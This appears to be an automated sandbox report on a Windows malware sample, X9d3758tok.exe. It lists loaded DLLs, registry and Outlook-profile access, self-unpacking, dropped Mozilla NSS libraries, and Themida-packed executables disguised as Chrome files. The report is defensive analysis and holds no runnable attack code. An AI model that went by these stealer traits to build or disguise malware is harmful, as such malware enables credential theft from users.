Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\BAAEHDBFID.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wersvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windowsperformancerecordercontrol.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: weretw.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: faultrep.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: licensemanagersvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: licensemanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: clipc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: dpx.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\ProgramData\Google\Chrome\updater.exe	Section loaded: apphelp.dll

Source: C:\Users\user\Desktop\X9d3758tok.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\X9d3758tok.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: C:\Users\user\Desktop\X9d3758tok.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source:	Binary string: mozglue.pdbP source: X9d3758tok.exe, 00000000.00000002.2270230098.000000006F8ED000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: nss3.pdb@ source: X9d3758tok.exe, 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: my_library.pdbU source: X9d3758tok.exe, 00000000.00000002.2252245116.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, X9d3758tok.exe, 00000000.00000002.2269945203.000000006D031000.00000002.00000001.01000000.00000007.sdmp, X9d3758tok.exe, 00000000.00000003.1665203785.0000000002540000.00000004.00001000.00020000.00000000.sdmp, X9d3758tok.exe, 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp
Source:	Binary string: my_library.pdb source: X9d3758tok.exe, X9d3758tok.exe, 00000000.00000002.2252245116.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, X9d3758tok.exe, 00000000.00000002.2269945203.000000006D031000.00000002.00000001.01000000.00000007.sdmp, X9d3758tok.exe, 00000000.00000003.1665203785.0000000002540000.00000004.00001000.00020000.00000000.sdmp, X9d3758tok.exe, 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp
Source:	Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb! source: BAAEHDBFID.exe, 00000009.00000002.2163984967.00007FF7FC2F7000.00000040.00000001.01000000.00000011.sdmp
Source:	Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb source: BAAEHDBFID.exe, 00000009.00000002.2163984967.00007FF7FC2F7000.00000040.00000001.01000000.00000011.sdmp
Source:	Binary string: nss3.pdb source: X9d3758tok.exe, 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: mozglue.pdb source: X9d3758tok.exe, 00000000.00000002.2270230098.000000006F8ED000.00000002.00000001.01000000.00000010.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\X9d3758tok.exe

Unpacked PE file: 0.2.X9d3758tok.exe.400000.1.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\X9d3758tok.exe

Unpacked PE file: 0.2.X9d3758tok.exe.400000.1.unpack

Source: C:\Users\user\Desktop\X9d3758tok.exe

Code function: 0_2_0040A090 LoadLibraryA,GetProcAddress,GetProcAddress,FreeLibrary,

0_2_0040A090

Source: initial sample

Static PE information: section where entry point is pointing to: .boot

Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: BAAEHDBFID.exe.0.dr	Static PE information: section name:
Source: BAAEHDBFID.exe.0.dr	Static PE information: section name:
Source: BAAEHDBFID.exe.0.dr	Static PE information: section name:
Source: BAAEHDBFID.exe.0.dr	Static PE information: section name:
Source: BAAEHDBFID.exe.0.dr	Static PE information: section name:
Source: BAAEHDBFID.exe.0.dr	Static PE information: section name:
Source: BAAEHDBFID.exe.0.dr	Static PE information: section name:
Source: BAAEHDBFID.exe.0.dr	Static PE information: section name:
Source: BAAEHDBFID.exe.0.dr	Static PE information: section name: .imports
Source: BAAEHDBFID.exe.0.dr	Static PE information: section name: .themida
Source: BAAEHDBFID.exe.0.dr	Static PE information: section name: .boot
Source: chrome_93[1].exe.0.dr	Static PE information: section name:
Source: chrome_93[1].exe.0.dr	Static PE information: section name:
Source: chrome_93[1].exe.0.dr	Static PE information: section name:
Source: chrome_93[1].exe.0.dr	Static PE information: section name:
Source: chrome_93[1].exe.0.dr	Static PE information: section name:
Source: chrome_93[1].exe.0.dr	Static PE information: section name:
Source: chrome_93[1].exe.0.dr	Static PE information: section name:
Source: chrome_93[1].exe.0.dr	Static PE information: section name:
Source: chrome_93[1].exe.0.dr	Static PE information: section name: .imports
Source: chrome_93[1].exe.0.dr	Static PE information: section name: .themida
Source: chrome_93[1].exe.0.dr	Static PE information: section name: .boot
Source: updater.exe.9.dr	Static PE information: section name:
Source: updater.exe.9.dr	Static PE information: section name:
Source: updater.exe.9.dr	Static PE information: section name:
Source: updater.exe.9.dr	Static PE information: section name:
Source: updater.exe.9.dr	Static PE information: section name:
Source: updater.exe.9.dr	Static PE information: section name:
Source: updater.exe.9.dr	Static PE information: section name:
Source: updater.exe.9.dr	Static PE information: section name:
Source: updater.exe.9.dr	Static PE information: section name: .imports
Source: updater.exe.9.dr	Static PE information: section name: .themida
Source: updater.exe.9.dr	Static PE information: section name: .boot

Source: C:\Users\user\Desktop\X9d3758tok.exe

Code function: 0_2_0041B335 push ecx; ret

0_2_0041B348

Source: X9d3758tok.exe	Static PE information: section name: .text entropy: 7.622059452784723
Source: BAAEHDBFID.exe.0.dr	Static PE information: section name: entropy: 7.953179083639193
Source: chrome_93[1].exe.0.dr	Static PE information: section name: entropy: 7.953179083639193
Source: updater.exe.9.dr	Static PE information: section name: entropy: 7.953179083639193

Source: C:\Users\user\Desktop\X9d3758tok.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
